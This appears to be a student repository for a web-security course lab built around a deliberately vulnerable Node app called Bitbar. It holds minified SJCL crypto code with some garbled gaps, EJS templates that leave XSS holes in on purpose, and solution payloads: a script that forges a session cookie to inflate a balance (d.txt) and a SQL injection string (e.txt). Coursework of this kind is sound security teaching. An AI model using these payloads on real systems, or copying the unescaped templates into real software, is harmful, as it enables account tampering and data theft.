sjcl.bn.fromBits=function(a){var b=new this,d=[],c=sjcl.bitArray,e=this.prototype,f=Math.min(this.bitLength||0x100000000,c.bitLength(a)),g=f%e.radix||e.radix;for(d[0]=c.extract(a,0,g);gc;){d=e.pop();t=e.length;for(b=0;bd[e-1]&&(d[e-1]+=0x100000000);while(Math.floor(d[e-1]/f)===Math.floor(0x100000000/f));d[e-1]%=f;for(c=0;cb;b++)d=d.add(this),a.push(d.toAffine());return this.pa},negate:function(){var a=(new this.curve.field(0)).sub(this.y).normalize().reduce(); 110 | return new sjcl.ecc.point(this.curve,this.x,a)},isValid:function(){return this.y.square().equals(this.curve.b.add(this.x.mul(this.curve.a.add(this.x.square()))))},toBits:function(){return sjcl.bitArray.concat(this.x.toBits(),this.y.toBits())}};sjcl.ecc.pointJac=function(a,b,d,c){void 0===b?this.isIdentity=!0:(this.x=b,this.y=d,this.z=c,this.isIdentity=!1);this.curve=a}; 111 | sjcl.ecc.pointJac.prototype={add:function(a){var b,d,c,e;if(this.curve!==a.curve)throw new sjcl.exception.invalid("sjcl['ecc']['add'](): Points must be on the same curve to add them!");if(this.isIdentity)return a.toJac();if(a.isIdentity)return this;b=this.z.square();d=a.x.mul(b).subM(this.x);if(d.equals(0))return this.y.equals(a.y.mul(b.mul(this.z)))?this.doubl():new sjcl.ecc.pointJac(this.curve);b=a.y.mul(b.mul(this.z)).subM(this.y);c=d.square();a=b.square();e=d.square().mul(d).addM(this.x.add(this.x).mul(c)); 112 | a=a.subM(e);b=this.x.mul(c).subM(a).mul(b);c=this.y.mul(d.square().mul(d));b=b.subM(c);d=this.z.mul(d);return new sjcl.ecc.pointJac(this.curve,a,b,d)},doubl:function(){if(this.isIdentity)return this;var a=this.y.square(),b=a.mul(this.x.mul(4)),d=a.square().mul(8),a=this.z.square(),c=this.curve.a.toString()==(new sjcl.bn(-3)).toString()?this.x.sub(a).mul(3).mul(this.x.add(a)):this.x.square().mul(3).add(a.square().mul(this.curve.a)),a=c.square().subM(b).subM(b),b=b.sub(a).mul(c).subM(d),d=this.y.add(this.y).mul(this.z); 113 | return new sjcl.ecc.pointJac(this.curve,a,b,d)},toAffine:function(){if(this.isIdentity||this.z.equals(0))return new sjcl.ecc.point(this.curve);var a=this.z.inverse(),b=a.square();return new sjcl.ecc.point(this.curve,this.x.mul(b).fullReduce(),this.y.mul(b.mul(a)).fullReduce())},mult:function(a,b){"number"===typeof a?a=[a]:void 0!==a.limbs&&(a=a.normalize().limbs);var d,c,e=(new sjcl.ecc.point(this.curve)).toJac(),f=b.multiples();for(d=a.length-1;0<=d;d--)for(c=sjcl.bn.prototype.radix-4;0<=c;c-=4)e= 114 | e.doubl().doubl().doubl().doubl().add(f[a[d]>>c&15]);return e},mult2:function(a,b,d,c){"number"===typeof a?a=[a]:void 0!==a.limbs&&(a=a.normalize().limbs);"number"===typeof d?d=[d]:void 0!==d.limbs&&(d=d.normalize().limbs);var e,f=(new sjcl.ecc.point(this.curve)).toJac();b=b.multiples();var g=c.multiples(),h,k;for(c=Math.max(a.length,d.length)-1;0<=c;c--)for(h=a[c]|0,k=d[c]|0,e=sjcl.bn.prototype.radix-4;0<=e;e-=4)f=f.doubl().doubl().doubl().doubl().add(b[h>>e&15]).add(g[k>>e&15]);return f},negate:function(){return this.toAffine().negate().toJac()}, 115 | isValid:function(){var a=this.z.square(),b=a.square(),a=b.mul(a);return this.y.square().equals(this.curve.b.mul(a).add(this.x.mul(this.curve.a.mul(b).add(this.x.square()))))}};sjcl.ecc.curve=function(a,b,d,c,e,f){this.field=a;this.r=new sjcl.bn(b);this.a=new a(d);this.b=new a(c);this.G=new sjcl.ecc.point(this,new a(e),new a(f))}; 116 | sjcl.ecc.curve.prototype.fromBits=function(a){var b=sjcl.bitArray,d=this.field.prototype.exponent+7&-8;a=new sjcl.ecc.point(this,this.field.fromBits(b.bitSlice(a,0,d)),this.field.fromBits(b.bitSlice(a,d,2*d)));if(!a.isValid())throw new sjcl.exception.corrupt("not on the curve!");return a}; 117 | sjcl.ecc.curves={c192:new sjcl.ecc.curve(sjcl.bn.prime.p192,"0xffffffffffffffffffffffff99def836146bc9b1b4d22831",-3,"0x64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1","0x188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012","0x07192b95ffc8da78631011ed6b24cdd573f977a11e794811"),c224:new sjcl.ecc.curve(sjcl.bn.prime.p224,"0xffffffffffffffffffffffffffff16a2e0b8f03e13dd29455c5c2a3d",-3,"0xb4050a850c04b3abf54132565044b0b7d7bfd8ba270b39432355ffb4","0xb70e0cbd6bb4bf7f321390b94a03c1d356c21122343280d6115c1d21", 118 | "0xbd376388b5f723fb4c22dfe6cd4375a05a07476444d5819985007e34"),c256:new sjcl.ecc.curve(sjcl.bn.prime.p256,"0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551",-3,"0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b","0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296","0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5"),c384:new sjcl.ecc.curve(sjcl.bn.prime.p384,"0xffffffffffffffffffffffffffffffffffffffffffffffffc7634d81f4372ddf581a0db248b0a77aecec196accc52973", 119 | -3,"0xb3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aef","0xaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab7","0x3617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5f"),c521:new sjcl.ecc.curve(sjcl.bn.prime.p521,"0x1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409",-3,"0x051953EB9618E1C9A1F929A21A0B68540EEA2DA725B99B315F3B8B489918EF109E156193951EC7E937B1652C0BD3BB1BF073573DF883D2C34F1EF451FD46B503F00", 120 | "0xC6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66","0x11839296A789A3BC0045C8A5FB42C7D1BD998F54449579B446817AFBD17273E662C97EE72995EF42640C550B9013FAD0761353C7086A272C24088BE94769FD16650"),k192:new sjcl.ecc.curve(sjcl.bn.prime.p192k,"0xfffffffffffffffffffffffe26f2fc170f69466a74defd8d",0,3,"0xdb4ff10ec057e9ae26b07d0280b7f4341da5d1b1eae06c7d","0x9b2f2f6d9c5628a7844163d015be86344082aa88d95e2f9d"),k224:new sjcl.ecc.curve(sjcl.bn.prime.p224k, 121 | "0x010000000000000000000000000001dce8d2ec6184caf0a971769fb1f7",0,5,"0xa1455b334df099df30fc28a169a467e9e47075a90f7e650eb6b7a45c","0x7e089fed7fba344282cafbd6f7e319f7c0b0bd59e2ca4bdb556d61a5"),k256:new sjcl.ecc.curve(sjcl.bn.prime.p256k,"0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141",0,7,"0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798","0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8")}; 122 | sjcl.ecc.curveName=function(a){for(var b in sjcl.ecc.curves)if(sjcl.ecc.curves.hasOwnProperty(b)&&sjcl.ecc.curves[b]===a)return b;throw new sjcl.exception.invalid("no such curve");}; 123 | sjcl.ecc.deserialize=function(a){if(!a||!a.curve||!sjcl.ecc.curves[a.curve])throw new sjcl.exception.invalid("invalid serialization");if(-1===["elGamal","ecdsa"].indexOf(a.type))throw new sjcl.exception.invalid("invalid type");var b=sjcl.ecc.curves[a.curve];if(a.secretKey){if(!a.exponent)throw new sjcl.exception.invalid("invalid exponent");var d=new sjcl.bn(a.exponent);return new sjcl.ecc[a.type].secretKey(b,d)}if(!a.point)throw new sjcl.exception.invalid("invalid point");d=b.fromBits(sjcl.codec.hex.toBits(a.point)); 124 | return new sjcl.ecc[a.type].publicKey(b,d)}; 125 | sjcl.ecc.basicKey={publicKey:function(a,b){this.w=a;this.I=a.r.bitLength();b instanceof Array?this.H=a.fromBits(b):this.H=b;this.serialize=function(){var b=sjcl.ecc.curveName(a);return{type:this.getType(),secretKey:!1,point:sjcl.codec.hex.fromBits(this.H.toBits()),curve:b}};this.get=function(){var a=this.H.toBits(),b=sjcl.bitArray.bitLength(a),e=sjcl.bitArray.bitSlice(a,0,b/2),a=sjcl.bitArray.bitSlice(a,b/2);return{x:e,y:a}}},secretKey:function(a,b){this.w=a;this.I=a.r.bitLength();this.S=b;this.serialize= 126 | function(){var b=this.get(),c=sjcl.ecc.curveName(a);return{type:this.getType(),secretKey:!0,exponent:sjcl.codec.hex.fromBits(b),curve:c}};this.get=function(){return this.S.toBits()}}};sjcl.ecc.basicKey.generateKeys=function(a){return function(b,d,c){b=b||0x100;if("number"===typeof b&&(b=sjcl.ecc.curves["c"+b],void 0===b))throw new sjcl.exception.invalid("no such curve");c=c||sjcl.bn.random(b.r,d);d=b.G.mult(c);return{pub:new sjcl.ecc[a].publicKey(b,d),sec:new sjcl.ecc[a].secretKey(b,c)}}}; 127 | sjcl.ecc.elGamal={generateKeys:sjcl.ecc.basicKey.generateKeys("elGamal"),publicKey:function(a,b){sjcl.ecc.basicKey.publicKey.apply(this,arguments)},secretKey:function(a,b){sjcl.ecc.basicKey.secretKey.apply(this,arguments)}};sjcl.ecc.elGamal.publicKey.prototype={kem:function(a){a=sjcl.bn.random(this.w.r,a);var b=this.w.G.mult(a).toBits();return{key:sjcl.hash.sha256.hash(this.H.mult(a).toBits()),tag:b}},getType:function(){return"elGamal"}}; 128 | sjcl.ecc.elGamal.secretKey.prototype={unkem:function(a){return sjcl.hash.sha256.hash(this.w.fromBits(a).mult(this.S).toBits())},dh:function(a){return sjcl.hash.sha256.hash(a.H.mult(this.S).toBits())},dhJavaEc:function(a){return a.H.mult(this.S).x.toBits()},getType:function(){return"elGamal"}};sjcl.ecc.ecdsa={generateKeys:sjcl.ecc.basicKey.generateKeys("ecdsa")};sjcl.ecc.ecdsa.publicKey=function(a,b){sjcl.ecc.basicKey.publicKey.apply(this,arguments)}; 129 | sjcl.ecc.ecdsa.publicKey.prototype={verify:function(a,b,d){sjcl.bitArray.bitLength(a)>this.I&&(a=sjcl.bitArray.clamp(a,this.I));var c=sjcl.bitArray,e=this.w.r,f=this.I,g=sjcl.bn.fromBits(c.bitSlice(b,0,f)),c=sjcl.bn.fromBits(c.bitSlice(b,f,2*f)),h=d?c:c.inverseMod(e),f=sjcl.bn.fromBits(a).mul(h).mod(e),h=g.mul(h).mod(e),f=this.w.G.mult2(f,h,this.H).x;if(g.equals(0)||c.equals(0)||g.greaterEquals(e)||c.greaterEquals(e)||!f.equals(g)){if(void 0===d)return this.verify(a,b,!0);throw new sjcl.exception.corrupt("signature didn't check out"); 130 | }return!0},getType:function(){return"ecdsa"}};sjcl.ecc.ecdsa.secretKey=function(a,b){sjcl.ecc.basicKey.secretKey.apply(this,arguments)}; 131 | sjcl.ecc.ecdsa.secretKey.prototype={sign:function(a,b,d,c){sjcl.bitArray.bitLength(a)>this.I&&(a=sjcl.bitArray.clamp(a,this.I));var e=this.w.r,f=e.bitLength();c=c||sjcl.bn.random(e.sub(1),b).add(1);b=this.w.G.mult(c).x.mod(e);a=sjcl.bn.fromBits(a).add(b.mul(this.S));d=d?a.inverseMod(e).mul(c).mod(e):a.mul(c.inverseMod(e)).mod(e);return sjcl.bitArray.concat(b.toBits(f),d.toBits(f))},getType:function(){return"ecdsa"}}; 132 | sjcl.keyexchange.srp={makeVerifier:function(a,b,d,c){a=sjcl.keyexchange.srp.makeX(a,b,d);a=sjcl.bn.fromBits(a);return c.g.powermod(a,c.N)},makeX:function(a,b,d){a=sjcl.hash.sha1.hash(a+":"+b);return sjcl.hash.sha1.hash(sjcl.bitArray.concat(d,a))},knownGroup:function(a){"string"!==typeof a&&(a=a.toString());sjcl.keyexchange.srp.ja||sjcl.keyexchange.srp.Ea();return sjcl.keyexchange.srp.na[a]},ja:!1,Ea:function(){var a,b;for(a=0;ag&&f>>>8*g;g++);g<15-k&&(g=15-k);d=h.clamp(d,8*(15-g));c=sjcl.arrayBuffer.ccm.R(a,b,d,c,e,f,g);c=sjcl.arrayBuffer.ccm.u(a,b,d,c,e,g);return{ciphertext_buffer:b,tag:c}},decrypt:function(a,b,d,c,e,f,g){var h,k=sjcl.bitArray, 142 | l=k.bitLength(d)/8;e=e||[];f=f||sjcl.arrayBuffer.ccm.defaults.tlen;g=g||b.byteLength;f=Math.ceil(f/8);for(h=2;4>h&&g>>>8*h;h++);h<15-l&&(h=15-l);d=k.clamp(d,8*(15-h));c=sjcl.arrayBuffer.ccm.u(a,b,d,c,f,h);a=sjcl.arrayBuffer.ccm.R(a,b,d,e,f,g,h);if(!sjcl.bitArray.equal(c,a))throw new sjcl.exception.corrupt("ccm: tag doesn't match");return b},R:function(a,b,d,c,e,f,g){d=sjcl.mode.ccm.oa(a,c,d,e,f,g);if(0!==b.byteLength){for(c=new DataView(b);fn&&(sjcl.mode.ccm.ha(m/b.byteLength),n+=p),l=a.encrypt(d), 144 | g=e.getUint32(m),h=e.getUint32(m+4),f=e.getUint32(m+8),k=e.getUint32(m+12),e.setUint32(m,g^l[0]),e.setUint32(m+4,h^l[1]),e.setUint32(m+8,f^l[2]),e.setUint32(m+12,k^l[3]),d[3]++,0===d[3]&&d[2]++;return c}};"undefined"===typeof ArrayBuffer&&function(a){a.ArrayBuffer=function(){};a.DataView=function(){}}(this); 145 | sjcl.codec.arrayBuffer={fromBits:function(a,b,d){var c;b=void 0==b?!0:b;d=d||8;if(0===a.length)return new ArrayBuffer(0);c=sjcl.bitArray.bitLength(a)/8;if(0!==sjcl.bitArray.bitLength(a)%8)throw new sjcl.exception.invalid("Invalid bit size, must be divisble by 8 to fit in an arraybuffer correctly");b&&0!==c%d&&(c+=d-c%d);d=new DataView(new ArrayBuffer(4*a.length));for(b=0;b>>32-b}function b(a){return(a&255)<<24|(a&0xff00)<<8|(a&0xff0000)>>>8|(a&-0x1000000)>>>24}function d(b){for(var d=this.c[0],c=this.c[1],g=this.c[2],h=this.c[3],x=this.c[4],B=this.c[0],A=this.c[1],y=this.c[2],u=this.c[3],v=this.c[4],q=0,w;16>q;++q)w=a(d+(c^g^h)+b[k[q]]+e[q],m[q])+x,d=x,x=h,h=a(g,10),g=c,c=w,w=a(B+(A^(y|~u))+b[l[q]]+f[q],n[q])+v,B=v,v=u,u=a(y,10),y=A,A=w;for(;32>q;++q)w=a(d+(c&g|~c&h)+b[k[q]]+e[q],m[q])+x,d=x,x=h,h=a(g,10),g=c,c=w,w=a(B+(A&u| 149 | y&~u)+b[l[q]]+f[q],n[q])+v,B=v,v=u,u=a(y,10),y=A,A=w;for(;48>q;++q)w=a(d+((c|~g)^h)+b[k[q]]+e[q],m[q])+x,d=x,x=h,h=a(g,10),g=c,c=w,w=a(B+((A|~y)^u)+b[l[q]]+f[q],n[q])+v,B=v,v=u,u=a(y,10),y=A,A=w;for(;64>q;++q)w=a(d+(c&h|g&~h)+b[k[q]]+e[q],m[q])+x,d=x,x=h,h=a(g,10),g=c,c=w,w=a(B+(A&y|~A&u)+b[l[q]]+f[q],n[q])+v,B=v,v=u,u=a(y,10),y=A,A=w;for(;80>q;++q)w=a(d+(c^(g|~h))+b[k[q]]+e[q],m[q])+x,d=x,x=h,h=a(g,10),g=c,c=w,w=a(B+(A^y^u)+b[l[q]]+f[q],n[q])+v,B=v,v=u,u=a(y,10),y=A,A=w;w=this.c[1]+g+u;this.c[1]= 150 | this.c[2]+h+v;this.c[2]=this.c[3]+x+B;this.c[3]=this.c[4]+d+A;this.c[4]=this.c[0]+c+y;this.c[0]=w}sjcl.hash.ripemd160=function(a){a?(this.c=a.c.slice(0),this.h=a.h.slice(0),this.f=a.f):this.reset()};sjcl.hash.ripemd160.hash=function(a){return(new sjcl.hash.ripemd160).update(a).finalize()};sjcl.hash.ripemd160.prototype={reset:function(){this.c=c.slice(0);this.h=[];this.f=0;return this},update:function(a){"string"===typeof a&&(a=sjcl.codec.utf8String.toBits(a));var c,e=this.h=sjcl.bitArray.concat(this.h, 151 | a);c=this.f;a=this.f=c+sjcl.bitArray.bitLength(a);if(0x1fffffffffffffg;++g)f[g]=b(f[g]);d.call(this,f)}return this},finalize:function(){var a=sjcl.bitArray.concat(this.h,[sjcl.bitArray.partial(1,1)]),c=(this.f+1)%512,c=(448c;++c)e[c]=b(e[c]);d.call(this,e)}a=this.c;this.reset();for(c=0;5>c;++c)a[c]=b(a[c]);return a}};for(var c=[1732584193,4023233417,2562383102,271733878,3285377520],e=[0,1518500249,1859775393,2400959708,2840853838],f=[1352829926,1548603684,1836072691,2053994217,0],g=4;0<=g;--g)for(var h=1;16>h;++h)e.splice(g,0,e[g]),f.splice(g,0,f[g]);var k=[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11, 153 | 5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13],l=[5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11],m=[11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6],n=[8,9,9,11,13,15,15, 154 | 5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]})();"undefined"!==typeof module&&module.exports&&(module.exports=sjcl);"function"===typeof define&&define([],function(){return sjcl}); 155 | -------------------------------------------------------------------------------- /proj2/code/views/layout/template.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | <% include ../partials/head %> 5 | 6 | 7 |

8 | <% include ../partials/header %> 9 | 10 |
11 | <% include ../partials/login-status %> 12 | 13 | <%- include('../pages/'+page) -%> 14 |
15 | 16 |
17 | 18 | 19 | -------------------------------------------------------------------------------- /proj2/code/views/pages/error.ejs: -------------------------------------------------------------------------------- 1 |

<%= message %>

2 |

<%= error.status %>

3 |
<%= error.stack %>
4 | -------------------------------------------------------------------------------- /proj2/code/views/pages/index.ejs: -------------------------------------------------------------------------------- 1 | <% if(loggedIn) { %> 2 | 3 |

You have <%= account.bitbars %> bitbars.

4 | 5 |
6 | 7 | 8 |

9 |
10 | 11 | <% } else { %> 12 | 13 |

Welcome to Bitbar

14 | 15 | <% if(errorMsg) { %> 16 |

<%= errorMsg %>

17 | <% } %> 18 | 19 |

20 | We are the most trusted crypto-currency on the Internet. Unlike Bitcoin 21 | which is unreliable due to its decentralized nature, we store all your 22 | valuable bits in a single secured SQLite database on our server. 23 | Everything is powered by Node so you know that it is safe. 24 | Sign up for an account today! 25 |

26 | 27 | <% } %> 28 | -------------------------------------------------------------------------------- /proj2/code/views/pages/login/form.ejs: -------------------------------------------------------------------------------- 1 |

Login

2 | 3 |
4 | 5 | <% if(errorMsg) { %> 6 |

<%= errorMsg %>

7 | <% } %> 8 | 9 | 10 | > 11 | 12 | 13 | 14 | 15 |

16 |
17 | -------------------------------------------------------------------------------- /proj2/code/views/pages/login/success.ejs: -------------------------------------------------------------------------------- 1 |

Welcome, <%= account.username %>!

2 | 3 |

You are now logged in.

4 | -------------------------------------------------------------------------------- /proj2/code/views/pages/profile/view.ejs: -------------------------------------------------------------------------------- 1 |

View profile

2 | 3 |
4 | > 5 | 6 |
7 | 8 | <% if(errorMsg) { %> 9 |

<%- errorMsg %>

10 | <% } %> 11 | 12 | <% if(loggedIn) { %> 13 | <% if(result.username == account.username) { %> 14 |

Your profile

15 | <% } else { %> 16 |

<%= result.username %>'s profile

17 | <% } %> 18 | 19 |

0 bitbars

20 | 21 | <% if (result.username && result.profile) { %> 22 |
<%- result.profile %>
23 | <% } %> 24 | 25 | 26 | 36 | <% } %> 37 | -------------------------------------------------------------------------------- /proj2/code/views/pages/register/form.ejs: -------------------------------------------------------------------------------- 1 |

Register

2 | 3 |
4 | 5 | <% if(errorMsg) { %> 6 |

<%= errorMsg %>

7 | <% } %> 8 | 9 | 10 | > 11 | 12 | 13 | 14 | 15 |

16 |
17 | -------------------------------------------------------------------------------- /proj2/code/views/pages/register/success.ejs: -------------------------------------------------------------------------------- 1 |

Welcome, <%= account.username %>!

2 | 3 |

Your account has been created and you have been logged in.

4 | -------------------------------------------------------------------------------- /proj2/code/views/pages/theft/view_stolen_cookie.ejs: -------------------------------------------------------------------------------- 1 |

Last Cookie Stolen

2 | 3 |

<%= result %>

4 | -------------------------------------------------------------------------------- /proj2/code/views/pages/transfer/form.ejs: -------------------------------------------------------------------------------- 1 |

Transfer Bitbars

2 | 3 |
4 | <% if(errorMsg) { %> 5 |

<%= errorMsg %>

6 | <% } %> 7 | 8 |

9 | You currently have <%= account.bitbars %> bitbars. 10 |

11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 |

19 |
20 | -------------------------------------------------------------------------------- /proj2/code/views/pages/transfer/success.ejs: -------------------------------------------------------------------------------- 1 |

Transfer Bitbars

2 | 3 |

Successfully transferred <%= result.amount %> bitbars to <%= result.receiver.username %>. 4 | 5 |

You now have <%= account.bitbars %> bitbars.

6 | 7 |

<%= result.receiver.username %> now has <%= result.receiver.bitbars + result.amount %> bitbars.

8 | -------------------------------------------------------------------------------- /proj2/code/views/partials/head.ejs: -------------------------------------------------------------------------------- 1 | 2 | <%= title %> 3 | 4 | 5 | -------------------------------------------------------------------------------- /proj2/code/views/partials/header.ejs: -------------------------------------------------------------------------------- 1 | 15 | -------------------------------------------------------------------------------- /proj2/code/views/partials/login-status.ejs: -------------------------------------------------------------------------------- 1 | 10 | -------------------------------------------------------------------------------- /proj2/d.txt: -------------------------------------------------------------------------------- 1 | function getCookie(name) { 2 | var value = "; ".concat(document.cookie); 3 | var parts = value.split("; ".concat(name).concat("=")); 4 | if (parts.length == 2) 5 | return parts.pop().split(";").shift(); 6 | } 7 | var cookie = getCookie("session"); 8 | var json = atob(cookie); 9 | var jsonObj = JSON.parse(json); 10 | jsonObj.account.bitbars = 1000000 11 | var attackerCookie = JSON.stringify(jsonObj); 12 | document.cookie = "session=".concat(btoa(attackerCookie)); -------------------------------------------------------------------------------- /proj2/e.txt: -------------------------------------------------------------------------------- 1 | user3" OR username LIKE 'user3" OR username LIKE %'; -------------------------------------------------------------------------------- /proj2/f.txt: -------------------------------------------------------------------------------- 1 |
2 | Money money I want money 3 | 25 | 26 | 27 |
28 | 29 |
30 |
31 | 32 | 33 |
34 | 35 | 36 | 37 | 38 | 39 | 42 |
-------------------------------------------------------------------------------- /proj2/proj2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeyq/cs155/06e13e4bcd1962a4875bd56e65178f947f617e41/proj2/proj2.pdf -------------------------------------------------------------------------------- /proj2/start_server.sh: -------------------------------------------------------------------------------- 1 | docker run -it --rm -p 3000:3000 --mount type=bind,source="$(pwd)"/code/router.js,target=/home/cs155/proj2/router.js --mount type=bind,source="$(pwd)"/code/views,target=/home/cs155/proj2/views --name bitbar-container cs155-proj2-image 2 | --------------------------------------------------------------------------------